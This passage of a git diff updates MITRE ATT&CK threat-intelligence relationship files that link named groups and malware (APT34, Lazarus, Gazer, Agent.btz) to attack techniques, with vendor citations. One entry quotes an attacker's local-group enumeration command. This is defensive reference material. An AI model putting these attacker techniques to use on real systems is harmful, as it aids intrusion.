+            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7d020981-51b3-4ff6-825f-7cd192c934e1.json b/enterprise-attack/relationship/relationship--7d020981-51b3-4ff6-825f-7cd192c934e1.json
index 570aaeb1b0..47e296c212 100644
--- a/enterprise-attack/relationship/relationship--7d020981-51b3-4ff6-825f-7cd192c934e1.json
+++ b/enterprise-attack/relationship/relationship--7d020981-51b3-4ff6-825f-7cd192c934e1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2947d47f-af02-42fd-ba5d-2dab63ed98ee",
+    "id": "bundle--68083d98-ba9c-43ea-bba2-a12575288bc3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7d020981-51b3-4ff6-825f-7cd192c934e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PoisonIvy can load DLLs.",
             "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
diff --git a/enterprise-attack/relationship/relationship--7d047513-5fbf-4d9e-8a5d-54317123e34c.json b/enterprise-attack/relationship/relationship--7d047513-5fbf-4d9e-8a5d-54317123e34c.json
index f7b1caa991..00e367280f 100644
--- a/enterprise-attack/relationship/relationship--7d047513-5fbf-4d9e-8a5d-54317123e34c.json
+++ b/enterprise-attack/relationship/relationship--7d047513-5fbf-4d9e-8a5d-54317123e34c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7c9d77cf-aac6-4f82-82ce-64d1b6c1b05a",
+    "id": "bundle--7b9a6648-b1df-48aa-a862-59f8b958e7b0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7d047513-5fbf-4d9e-8a5d-54317123e34c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to list local groups: <code>net localgroup administrator >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
diff --git a/enterprise-attack/relationship/relationship--7db7f665-6e29-4789-8a3d-d6cb8d0af31e.json b/enterprise-attack/relationship/relationship--7db7f665-6e29-4789-8a3d-d6cb8d0af31e.json
index 4ab00193ca..6a848f7d7f 100644
--- a/enterprise-attack/relationship/relationship--7db7f665-6e29-4789-8a3d-d6cb8d0af31e.json
+++ b/enterprise-attack/relationship/relationship--7db7f665-6e29-4789-8a3d-d6cb8d0af31e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f3e4d3d-8568-480c-ba98-7b0bcb9c86d2",
+    "id": "bundle--b7fba317-cdbe-4329-b2b4-7ac7cda9ac34",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7db7f665-6e29-4789-8a3d-d6cb8d0af31e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GCMAN uses Putty and VNC for lateral movement.",
             "source_ref": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist GCMAN",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.",
-                    "url": "https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/"
+                    "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--7dba7706-128e-43a7-a240-6d456c9003a2.json b/enterprise-attack/relationship/relationship--7dba7706-128e-43a7-a240-6d456c9003a2.json
index ebffff9680..f311dfc4e8 100644
--- a/enterprise-attack/relationship/relationship--7dba7706-128e-43a7-a240-6d456c9003a2.json
+++ b/enterprise-attack/relationship/relationship--7dba7706-128e-43a7-a240-6d456c9003a2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cbeeb31e-d2c2-4891-9c29-16cbe693c8a9",
+    "id": "bundle--d8e9c338-4702-403e-bb01-849757b73fef",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7dba7706-128e-43a7-a240-6d456c9003a2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
diff --git a/enterprise-attack/relationship/relationship--7dc4c8b9-a380-4dc0-9973-a8a2f8d0175c.json b/enterprise-attack/relationship/relationship--7dc4c8b9-a380-4dc0-9973-a8a2f8d0175c.json
index 76b91f0bec..6ad1ca4ae2 100644
--- a/enterprise-attack/relationship/relationship--7dc4c8b9-a380-4dc0-9973-a8a2f8d0175c.json
+++ b/enterprise-attack/relationship/relationship--7dc4c8b9-a380-4dc0-9973-a8a2f8d0175c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9e282160-0460-4967-a5ef-12a7ce66792b",
+    "id": "bundle--cc362ec8-b608-424c-b240-ad9aa248e913",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7dc4c8b9-a380-4dc0-9973-a8a2f8d0175c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "target_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e",
diff --git a/enterprise-attack/relationship/relationship--7df747e6-81a1-4bb0-b47f-96136694f2d0.json b/enterprise-attack/relationship/relationship--7df747e6-81a1-4bb0-b47f-96136694f2d0.json
new file mode 100644
index 0000000000..241b2ed45b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--7df747e6-81a1-4bb0-b47f-96136694f2d0.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--48c0997c-e6fb-40cb-88c3-409ad1ed12e7",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--7df747e6-81a1-4bb0-b47f-96136694f2d0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used PowerShell scripts for execution.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7e216050-e850-4591-a870-7148d4544642.json b/enterprise-attack/relationship/relationship--7e216050-e850-4591-a870-7148d4544642.json
new file mode 100644
index 0000000000..22553d7245
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--7e216050-e850-4591-a870-7148d4544642.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--1f78d63b-5649-4e19-86d8-bb1236a64541",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--7e216050-e850-4591-a870-7148d4544642",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has used the command-line interface for execution.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                },
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7e221899-d90a-4c9a-8ea4-77110c45f0f9.json b/enterprise-attack/relationship/relationship--7e221899-d90a-4c9a-8ea4-77110c45f0f9.json
index 1b0c3f8d66..458e7c4ab1 100644
--- a/enterprise-attack/relationship/relationship--7e221899-d90a-4c9a-8ea4-77110c45f0f9.json
+++ b/enterprise-attack/relationship/relationship--7e221899-d90a-4c9a-8ea4-77110c45f0f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fdcf5cf0-f75d-4aff-9b28-1ee160566a78",
+    "id": "bundle--e5b32bbf-4bec-4dce-a22c-5fd0e54dfdea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7e221899-d90a-4c9a-8ea4-77110c45f0f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Lazarus Group malware uses multiple channels for C2, such as RomeoWhiskey-Two, which consists of a RAT channel that parses data in datagram form and a Proxy channel that forms virtual point-to-point sessions.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--7e46e7c8-e48a-4860-bbcd-224a2d12284a.json b/enterprise-attack/relationship/relationship--7e46e7c8-e48a-4860-bbcd-224a2d12284a.json
new file mode 100644
index 0000000000..23fa9ff349
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--7e46e7c8-e48a-4860-bbcd-224a2d12284a.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--e1f1266d-dbd9-40bc-bdbb-a43d6476d2c6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--7e46e7c8-e48a-4860-bbcd-224a2d12284a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7e55e411-230e-4d1a-a780-d07784ed2cd6.json b/enterprise-attack/relationship/relationship--7e55e411-230e-4d1a-a780-d07784ed2cd6.json
index 6876d7d6d4..a84369876d 100644
--- a/enterprise-attack/relationship/relationship--7e55e411-230e-4d1a-a780-d07784ed2cd6.json
+++ b/enterprise-attack/relationship/relationship--7e55e411-230e-4d1a-a780-d07784ed2cd6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--180b0841-af4d-41c5-9d54-938284bbf096",
+    "id": "bundle--d78cd8d3-fb30-4751-8ed0-31ca3819e9cf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7e55e411-230e-4d1a-a780-d07784ed2cd6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type may create a temporary user on the system named \u201cLost_{Unique Identifier}.\u201d",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--7e7d5aa9-6860-44fe-88b9-22a6b36162e2.json b/enterprise-attack/relationship/relationship--7e7d5aa9-6860-44fe-88b9-22a6b36162e2.json
index 1bc9d8016c..0b92a6887b 100644
--- a/enterprise-attack/relationship/relationship--7e7d5aa9-6860-44fe-88b9-22a6b36162e2.json
+++ b/enterprise-attack/relationship/relationship--7e7d5aa9-6860-44fe-88b9-22a6b36162e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--40d72faf-0459-453d-945c-e7864730ca1a",
+    "id": "bundle--211cac7a-c8f5-457a-b482-4ef188681cb8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7e7d5aa9-6860-44fe-88b9-22a6b36162e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used hidden or non-printing characters to help masquerade file names on a system, such as appending a Unicode no-break space character to a legitimate service name.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
diff --git a/enterprise-attack/relationship/relationship--7ec988a7-712a-45ae-b6b3-db26a6515b80.json b/enterprise-attack/relationship/relationship--7ec988a7-712a-45ae-b6b3-db26a6515b80.json
new file mode 100644
index 0000000000..4827836c00
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--7ec988a7-712a-45ae-b6b3-db26a6515b80.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--168005fe-d903-4924-bcdf-b790f4f26896",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--7ec988a7-712a-45ae-b6b3-db26a6515b80",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can establish persistence by creating a .lnk file in the Start menu or by modifying existing .lnk files to execute the malware through cmd.exe. ",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7ed59789-3b2d-4acf-9127-7af35234a373.json b/enterprise-attack/relationship/relationship--7ed59789-3b2d-4acf-9127-7af35234a373.json
index 61da61deb1..ec9542eafa 100644
--- a/enterprise-attack/relationship/relationship--7ed59789-3b2d-4acf-9127-7af35234a373.json
+++ b/enterprise-attack/relationship/relationship--7ed59789-3b2d-4acf-9127-7af35234a373.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b29527d7-073b-49e4-956a-ad1766167651",
+    "id": "bundle--9868ee3c-668a-4565-93ff-dde1b302de21",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7ed59789-3b2d-4acf-9127-7af35234a373",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Remsec module has a default C2 port of 13000.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--7ed93170-2dba-4e59-b0f0-7c716c73bdc0.json b/enterprise-attack/relationship/relationship--7ed93170-2dba-4e59-b0f0-7c716c73bdc0.json
index c36cb9983d..c0071cc2d8 100644
--- a/enterprise-attack/relationship/relationship--7ed93170-2dba-4e59-b0f0-7c716c73bdc0.json
+++ b/enterprise-attack/relationship/relationship--7ed93170-2dba-4e59-b0f0-7c716c73bdc0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c350a38b-8631-490a-bda9-c0495b861b0e",
+    "id": "bundle--4dcbfd7f-3e03-4240-b9da-47fef250e2aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7ed93170-2dba-4e59-b0f0-7c716c73bdc0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
diff --git a/enterprise-attack/relationship/relationship--7f17927d-b371-42c4-bd68-0c5c57e3edab.json b/enterprise-attack/relationship/relationship--7f17927d-b371-42c4-bd68-0c5c57e3edab.json
new file mode 100644
index 0000000000..13211e6842
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--7f17927d-b371-42c4-bd68-0c5c57e3edab.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--8dac6c2e-769f-4d1b-be18-99c13bfd4952",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--7f17927d-b371-42c4-bd68-0c5c57e3edab",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware can delete files.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7f1c30eb-051f-4d1a-9d81-1ee46f7779c7.json b/enterprise-attack/relationship/relationship--7f1c30eb-051f-4d1a-9d81-1ee46f7779c7.json
index 1d4fcb9901..d9f8c2c567 100644
--- a/enterprise-attack/relationship/relationship--7f1c30eb-051f-4d1a-9d81-1ee46f7779c7.json
+++ b/enterprise-attack/relationship/relationship--7f1c30eb-051f-4d1a-9d81-1ee46f7779c7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2b244d2a-230e-47b5-b43b-636b7b3f21d7",
+    "id": "bundle--a5534613-999d-46de-ac42-535eef40376e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7f1c30eb-051f-4d1a-9d81-1ee46f7779c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type uses Base64 encoding for C2 traffic.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--7f3c015e-d95d-4d35-a583-236134464554.json b/enterprise-attack/relationship/relationship--7f3c015e-d95d-4d35-a583-236134464554.json
index 418aee9f4d..dd6356e5bc 100644
--- a/enterprise-attack/relationship/relationship--7f3c015e-d95d-4d35-a583-236134464554.json
+++ b/enterprise-attack/relationship/relationship--7f3c015e-d95d-4d35-a583-236134464554.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7035c13d-0d4b-450f-906f-4cbd851fe2d3",
+    "id": "bundle--53290f67-fe33-4952-90d1-146f791f92bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7f3c015e-d95d-4d35-a583-236134464554",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
diff --git a/enterprise-attack/relationship/relationship--7f695d14-17e1-46c6-92eb-7c2f57fc6553.json b/enterprise-attack/relationship/relationship--7f695d14-17e1-46c6-92eb-7c2f57fc6553.json
index 4534c621cf..798a00f079 100644
--- a/enterprise-attack/relationship/relationship--7f695d14-17e1-46c6-92eb-7c2f57fc6553.json
+++ b/enterprise-attack/relationship/relationship--7f695d14-17e1-46c6-92eb-7c2f57fc6553.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--40c8bf48-c14e-4995-be90-7955a7fbca13",
+    "id": "bundle--8eb07d40-5dd7-4103-844f-ff6bd05d84fa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7f695d14-17e1-46c6-92eb-7c2f57fc6553",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.068Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware KiloAlfa contains keylogging functionality.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594.json b/enterprise-attack/relationship/relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594.json
index b5af98ccfb..d1cb48810e 100644
--- a/enterprise-attack/relationship/relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594.json
+++ b/enterprise-attack/relationship/relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f0704593-1bd4-42b7-9627-6427d6ef9352",
+    "id": "bundle--67c18936-7e29-472f-9fcc-f0f853ca992a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 has used encoded PowerShell scripts uploaded to CozyCar installations to download and install SeaDuke.APT29 also used PowerShell scripts to evade defenses.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
diff --git a/enterprise-attack/relationship/relationship--7fbb56bf-cadd-4663-8067-f233d4c9c751.json b/enterprise-attack/relationship/relationship--7fbb56bf-cadd-4663-8067-f233d4c9c751.json
index 331bb41ebc..f7205ea694 100644
--- a/enterprise-attack/relationship/relationship--7fbb56bf-cadd-4663-8067-f233d4c9c751.json
+++ b/enterprise-attack/relationship/relationship--7fbb56bf-cadd-4663-8067-f233d4c9c751.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--420d84b8-0bf4-449c-ac9a-215f408f3c0b",
+    "id": "bundle--132e2cc9-2b8c-4540-ba45-6d03be56b074",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7fbb56bf-cadd-4663-8067-f233d4c9c751",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The initial beacon packet for S-Type contains the operating system version and file system of the victim.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--7fd4fe68-0f2a-485c-9b10-6847428ef5da.json b/enterprise-attack/relationship/relationship--7fd4fe68-0f2a-485c-9b10-6847428ef5da.json
new file mode 100644
index 0000000000..c6555de7e2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--7fd4fe68-0f2a-485c-9b10-6847428ef5da.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e0ef0b71-9e10-4fec-8c88-b5697ec9a1d5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--7fd4fe68-0f2a-485c-9b10-6847428ef5da",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Derusbi injects itself into the secure shell (SSH) process.",
+            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
+            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+            "external_references": [
+                {
+                    "source_name": "Airbus Derusbi 2015",
+                    "description": "Perigaud, F. (2015, December 15). Newcomers in the Derusbi family. Retrieved December 20, 2017.",
+                    "url": "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7fd6c479-00ae-478d-a29b-fc40619eea97.json b/enterprise-attack/relationship/relationship--7fd6c479-00ae-478d-a29b-fc40619eea97.json
index 4f5b4b30b7..1d7685c39c 100644
--- a/enterprise-attack/relationship/relationship--7fd6c479-00ae-478d-a29b-fc40619eea97.json
+++ b/enterprise-attack/relationship/relationship--7fd6c479-00ae-478d-a29b-fc40619eea97.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3a8411e2-8702-4df9-8fd7-b813c713f2b7",
+    "id": "bundle--691cc79f-2035-4328-8249-836e8d72c62c",
     "spec_version": "2.0",
     "objects": [
         {
